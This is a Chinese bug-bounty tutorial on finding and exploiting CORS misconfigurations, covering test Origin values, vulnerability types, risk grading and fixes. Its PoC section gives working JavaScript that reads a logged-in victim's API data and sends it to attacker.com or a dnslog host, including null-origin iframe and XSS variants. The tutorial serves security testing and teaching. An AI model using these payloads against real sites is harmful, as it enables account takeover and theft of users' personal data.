【SRC】基础思路篇17:CORS跨域安全测试完全指南

文章目录

    • 引言
    • 一、CORS漏洞原理
      • [1. 同源策略与CORS](#1. 同源策略与CORS)
      • [2. 漏洞触发条件](#2. 漏洞触发条件)
      • [3. 与CSRF的区别](#3. 与CSRF的区别)
    • 二、漏洞挖掘思路
      • [1. 抓包观察历史请求](#1. 抓包观察历史请求)
      • [2. 添加Origin头测试](#2. 添加Origin头测试)
      • [3. 判断响应类型](#3. 判断响应类型)
    • 三、常见CORS配置漏洞类型
      • [1. 反射任意Origin](#1. 反射任意Origin)
      • [2. 信任任意子域名](#2. 信任任意子域名)
      • [3. NULL Origin信任](#3. NULL Origin信任)
      • [4. 白名单域内漏洞(链式利用)](#4. 白名单域内漏洞(链式利用))
    • 四、利用与POC构造
      • [1. 构造恶意页面](#1. 构造恶意页面)
      • [2. NULL Origin利用POC](#2. NULL Origin利用POC)
      • [3. 配合XSS组合利用](#3. 配合XSS组合利用)
    • 五、重点测试接口清单
      • [1. 用户信息类接口](#1. 用户信息类接口)
      • [2. 认证令牌类接口](#2. 认证令牌类接口)
      • [3. 高价值功能点](#3. 高价值功能点)
    • 六、实战测试流程
    • 七、漏洞危害评估
      • [1. 直接危害](#1. 直接危害)
      • [2. 组合危害](#2. 组合危害)
      • [3. 危害等级评定](#3. 危害等级评定)
    • 八、修复建议
      • [1. 严格白名单校验](#1. 严格白名单校验)
      • [2. 凭证控制](#2. 凭证控制)
      • [3. 接口层防护](#3. 接口层防护)
      • [4. 监控与告警](#4. 监控与告警)
    • 九、实战心得
      • [1. 历史请求是宝藏](#1. 历史请求是宝藏)
      • [2. 每个接口都要测](#2. 每个接口都要测)
      • [3. 关注车联网/IoT场景](#3. 关注车联网/IoT场景)
      • [4. JWT泄露后果最严重](#4. JWT泄露后果最严重)
      • [5. 链式思维很重要](#5. 链式思维很重要)
      • [6. 测试要全面](#6. 测试要全面)
    • 十、总结

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

引言

CORS(跨域资源共享,Cross-Origin Resource Sharing)是现代Web应用中广泛使用的跨域机制,它通过一组HTTP响应头允许浏览器跨域加载资源。然而,CORS配置不当是SRC漏洞挖掘中的高频问题,可导致敏感信息泄露、账户接管等严重危害。与CSRF只允许"发请求"不同,CORS配置不当允许"读响应",这意味着攻击者可以读取受害者认证状态下的敏感数据。本文将系统性地介绍CORS漏洞的挖掘思路、测试方法与实战技巧。


一、CORS漏洞原理

1. 同源策略与CORS

同源策略(SOP)是浏览器的核心安全机制,禁止一个源的脚本读取另一个源的响应内容。CORS是一种"受控放宽"同源策略的机制,通过响应头声明允许哪些源跨域访问。

响应头 作用
Access-Control-Allow-Origin 声明允许跨域访问的源
Access-Control-Allow-Credentials 是否允许携带Cookie等凭证
Access-Control-Allow-Methods 允许的HTTP方法
Access-Control-Allow-Headers 允许的请求头
Access-Control-Max-Age 预检请求缓存时间

2. 漏洞触发条件

CORS漏洞必须同时满足以下条件,三者缺一不可:

  1. 目标接口为敏感接口:返回用户敏感信息(如账号、令牌、个人资料等)
  2. 响应头 Access-Control-Allow-Origin 可控或配置宽松:允许任意源、反射Origin、信任任意子域名
  3. 响应头 Access-Control-Allow-Credentials: true:允许携带Cookie等凭证

3. 与CSRF的区别

维度 CSRF CORS配置不当
请求类型 状态变更请求 读取类请求
能力边界 只能发请求,不能读响应 可读取响应内容
危害形式 以用户身份执行操作 窃取用户敏感数据
利用方式 表单/图片自动提交 fetch/XHR携带Cookie读取
防护重点 Token、SameSite Cookie 严格的Origin白名单

二、漏洞挖掘思路

1. 抓包观察历史请求

CORS漏洞的发现起点不是直接构造Payload,而是先观察流量。在Burp Suite的HTTP历史记录中,关注所有返回敏感数据的接口:

重点关注接口类型:

  • 用户信息接口:/api/userinfo、/api/profile、/api/account
  • 认证令牌接口:返回JWT、Session、API Key的接口
  • 个人资料接口:返回手机号、邮箱、身份证等
  • 订单/资产接口:返回订单详情、账户余额等

实战技巧:很多CORS漏洞藏在历史请求中,浏览目标站点时主动触发各种功能(个人中心、订单查询、消息中心),让Burp收集完整流量后再统一分析。

2. 添加Origin头测试

对发现的所有敏感接口,逐一添加 Origin 头测试跨域响应:

测试步骤:

  1. 在Burp Repeater中重放请求
  2. 添加 Origin: https://attacker.com 头
  3. 观察响应中 Access-Control-Allow-Origin 的值
  4. 观察响应中 Access-Control-Allow-Credentials 的值

3. 判断响应类型

根据响应头判断CORS配置是否存在问题:

响应情况 判断 风险等级
Allow-Origin 为固定目标网站域名 + Credentials: true 配置正确 无风险
Allow-Origin 反射任意输入的Origin + Credentials: true 存在漏洞 高危
Allow-Origin: * + Credentials: true 浏览器禁止(互斥) 无风险
Allow-Origin 信任任意子域名 + Credentials: true 存在漏洞 高危
Allow-Origin 反射Origin但 Credentials 不为true 仅限无凭证场景 中危

三、常见CORS配置漏洞类型

1. 反射任意Origin

漏洞表现 :服务器将请求中的 Origin 头原样回显到 Access-Control-Allow-Origin 响应头,同时设置 Access-Control-Allow-Credentials: true。

测试Payload:

http 复制代码
Origin: https://attacker.com

漏洞响应:

http 复制代码
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

成因:后端未做Origin白名单校验,直接反射Origin值。

2. 信任任意子域名

漏洞表现:服务器只校验Origin是否以目标域名结尾,攻击者可构造子域名绕过。

测试Payload:

http 复制代码
Origin: https://attacker.target.com
Origin: https://target.com.attacker.com
Origin: https://attackercom.target.com

漏洞响应:

http 复制代码
Access-Control-Allow-Origin: https://attacker.target.com
Access-Control-Allow-Credentials: true

成因 :后端使用 endsWith、contains 等宽松匹配,未做严格域名解析。

3. NULL Origin信任

漏洞表现 :服务器允许 Origin: null 的跨域请求。NULL Origin常出现在本地文件、sandbox iframe、跨协议重定向等场景。

测试Payload:

http 复制代码
Origin: null

漏洞响应:

http 复制代码
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

成因:后端未对null进行特殊处理,或误以为null是安全值。

4. 白名单域内漏洞(链式利用)

漏洞表现:目标接口配置了白名单,直接跳转外部域名会被拦截,但白名单域内存在另一个CORS配置不当的接口,可作为中间跳板。

测试思路:

  1. 测试白名单域内的所有子域名
  2. 寻找白名单域内反射Origin的接口
  3. 通过白名单域内的漏洞接口间接读取目标敏感数据

四、利用与POC构造

1. 构造恶意页面

确认存在CORS漏洞后,构造恶意HTML页面,诱使受害者(已登录目标站点)访问:

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>正常页面标题</title>
</head>
<body>
    <script>
        // 目标敏感接口
        const targetUrl = 'https://victim.com/api/userinfo';

        fetch(targetUrl, {
            credentials: 'include' // 强制携带Cookie
        })
        .then(response => response.text())
        .then(data => {
            // 将窃取的数据外带到攻击者服务器
            fetch('https://attacker.com/leak?data=' + encodeURIComponent(data));
        })
        .catch(err => console.error(err));
    </script>
</body>
</html>

2. NULL Origin利用POC

针对允许NULL Origin的场景,可利用iframe sandbox触发:

html 复制代码
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    fetch('https://victim.com/api/userinfo', {credentials: 'include'})
    .then(r => r.text())
    .then(d => {
        fetch('https://attacker.com/leak?data=' + encodeURIComponent(d));
    });
</script>"></iframe>

3. 配合XSS组合利用

当目标存在存储型/反射型XSS但响应中有严格CORS限制时,可结合XSS在同源下读取敏感数据:

html 复制代码
<!-- XSS + CORS 组合利用 PoC -->
<script>
fetch('https://api.目标.com/getUserInfo',{
  credentials:'include'
}).then(r=>r.text()).then(d=>{
  // 窃取数据外带
  new Image().src='https://your.dnslog?data='+encodeURIComponent(d);
})
</script>

组合利用场景:

  • XSS可绕过CORS同源限制(因为是同源请求)
  • XSS用于在目标域内执行JS,读取后再外带
  • 当目标某个子域存在XSS,另一个子域存在敏感接口时可组合利用

五、重点测试接口清单

1. 用户信息类接口

接口类型 路径示例 返回内容
个人资料 /api/userinfo、/api/profile 用户基本信息
账户信息 /api/account/info 账户余额、等级
订单信息 /api/order/list 订单详情
消息中心 /api/message/list 私信内容
收货地址 /api/address/list 收货人信息

2. 认证令牌类接口

接口类型 路径示例 返回内容
令牌刷新 /api/token/refresh 新的JWT
登录回调 /api/auth/callback 认证Token
API密钥 /api/key/list API Key
支付凭证 /api/payment/token 支付Token

3. 高价值功能点

  • 车联网/物联网平台:用户车辆信息、控制接口
  • 企业管理后台:员工信息、财务数据
  • 教育系统:学生信息、成绩、学籍
  • 金融系统:账户余额、交易记录、支付凭证
  • 云服务平台:AK/SK密钥、资源配置

六、实战测试流程

标准测试流程

复制代码
1. 浏览目标站点,收集所有敏感接口
        ↓
2. 在Burp历史中筛选返回敏感数据的接口
        ↓
3. 对每个接口添加Origin头测试
        ↓
4. 判断Access-Control-Allow-Origin响应
        ↓
5. 若有问题,构造POC验证可窃取数据
        ↓
6. 评估漏洞危害,编写报告

测试注意事项

  1. 每个接口都要测:不要只测试用户信息接口,所有返回敏感数据的接口都要测
  2. 多种Origin测试:测试任意域名、子域名、NULL Origin、HTTPS变体
  3. 关注预检请求:复杂请求会先发OPTIONS预检,需确认预检响应是否可控
  4. 认证状态保持:测试时确保用户处于已登录状态
  5. 多场景验证:Web端、移动端H5、小程序内嵌页面可能配置不同

七、漏洞危害评估

1. 直接危害

  • 敏感信息泄露:读取受害者个人信息、订单、资产等
  • 认证令牌窃取:读取JWT、Session、API Key,实现账户接管
  • 支付凭证泄露:读取支付Token,可发起未授权支付
  • 企业数据泄露:读取企业内部数据、员工信息

2. 组合危害

  • CORS + XSS:XSS绕过同源限制,CORS扩大数据读取范围
  • CORS + CSRF:CORS读取CSRF Token,绕过CSRF防护
  • CORS + 链式跳转:通过白名单域内漏洞间接读取数据
  • CORS + 信息泄露:读取泄露的接口列表,发现更多攻击面

3. 危害等级评定

危害场景 等级 说明
窃取认证Token导致账户接管 严重 直接控制账户
窃取大量PII敏感信息 高危 个人隐私泄露
窃取普通业务信息 中危 业务数据泄露
仅可读取非敏感数据 低危 一般不被收录

八、修复建议

1. 严格白名单校验

  • 配置严格的Origin白名单,禁止使用通配符 *
  • 不使用 endsWith、contains 等宽松匹配
  • 对Origin做完整域名解析后再校验
  • NULL Origin 应被拒绝

2. 凭证控制

  • 慎重设置 Access-Control-Allow-Credentials: true
  • 仅在确需跨域携带凭证的场景启用
  • 非敏感接口禁用凭证携带

3. 接口层防护

  • 敏感接口添加CSRF Token校验
  • 关键操作要求二次认证
  • 敏感数据脱敏返回

4. 监控与告警

  • 监控异常Origin请求
  • 对跨域请求做日志审计
  • 异常跨域访问告警

九、实战心得

1. 历史请求是宝藏

很多CORS漏洞藏在历史请求中,不要只盯着当前页面的请求。通过Burp Suite完整记录浏览过程,再统一分析。

2. 每个接口都要测

不要只测试用户信息接口。订单、消息、地址、令牌刷新等所有返回敏感数据的接口都应测试CORS配置。

3. 关注车联网/IoT场景

车联网、物联网平台的用户控制接口一旦存在CORS漏洞,可能导致车辆远程控制,危害极其严重。

4. JWT泄露后果最严重

如果CORS漏洞可读取返回JWT的接口,可直接实现账户接管,这是最高价值的CORS漏洞场景。

5. 链式思维很重要

单个CORS漏洞可能无法直接利用,但通过白名单域内漏洞、XSS、信息泄露等组合,可形成完整攻击链。

6. 测试要全面

测试多种Origin变体:任意域名、子域名、NULL Origin、HTTPS/HTTP变体、端口号变体,不能只测一种。


十、总结

CORS漏洞是SRC漏洞挖掘中的高频问题,其危害程度取决于可读取的敏感数据类型。在SRC实战中:

  1. 测试覆盖要全:所有返回敏感数据的接口都应测试CORS配置
  2. Origin变体要全:任意域名、子域名、NULL Origin都要测试
  3. 链式思维要强:单个漏洞可能无法利用,组合利用威力大
  4. 危害评估要准:根据可读取数据类型评定等级,认证Token泄露最严重

通过本文介绍的方法和思路,相信读者能建立起完整的CORS漏洞挖掘思维体系,在SRC实战中发现更多高质量漏洞。

相关推荐
ly76893 天前
Spring Security 过滤器链定制:认证、CORS 与 CSRF 的先后顺序
java·spring boot·spring·spring security·csrf·cors·过滤器链
迪康妍妍10 天前
终端管控实操:封堵网盘与IM外发通道的落地思路
运维·网络·安全·架构·安全性测试
CALL1581190984512 天前
SVHC 247项与附录XVII限制物质,REACH测试项目有哪些?
运维·安全·安全性测试
Luminbox紫创测控13 天前
车载LiDAR强光测试的实验设计方法与数据分析
人工智能·数据挖掘·数据分析·车载系统·安全性测试·太阳光模拟器
Web Security Loop16 天前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
cpolar技术支持21 天前
Spring Boot 接口本地正常,异地前端却报跨域?用 cpolar 跑通 CORS 预检与白名单
java·springboot·cpolar·前后端分离·cors
admin and root1 个月前
「AI安全篇」实战AntiDebug自动化JS逆向加解密MCP
javascript·人工智能·网络安全·自动化·漏洞挖掘·cnvd·src赏金
泛联新安1 个月前
软件定义汽车时代,如何让AI研发“可信”?——泛联新安构建汽车企业级可信AI体系的落地路径
大数据·人工智能·安全·网络安全·汽车·漏洞挖掘·代码安全
csdn_aspnet1 个月前
.NetCore Webapi 接口验证请求来源
.netcore·ip·token·签名·webapi·cors·sign
Luminbox紫创测控1 个月前
GB/T 34515—2026新规航天热平衡试验:太阳模拟器该怎么选
测试工具·安全性测试·测试标准·航天器热平衡